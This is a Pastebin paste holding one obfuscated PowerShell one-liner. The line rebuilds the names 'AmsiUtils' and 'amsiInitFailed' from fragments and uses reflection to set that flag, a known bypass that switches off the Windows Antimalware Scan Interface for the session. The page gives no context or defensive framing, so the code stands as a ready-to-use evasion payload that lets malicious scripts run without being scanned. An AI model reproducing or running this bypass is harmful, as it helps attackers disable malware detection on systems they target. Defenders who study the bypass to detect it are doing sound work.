Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- $w = 'System.Management.Automation.A';$c = 'si';$m = 'Utils' ;; $assembly = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $w,$c,$m)) ;; $field = $assembly.GetField(('am{0}InitFailed' -f $c),'NonPublic,Static') ;; $field.SetValue($null,$true)
Add Comment
Please, Sign In to add comment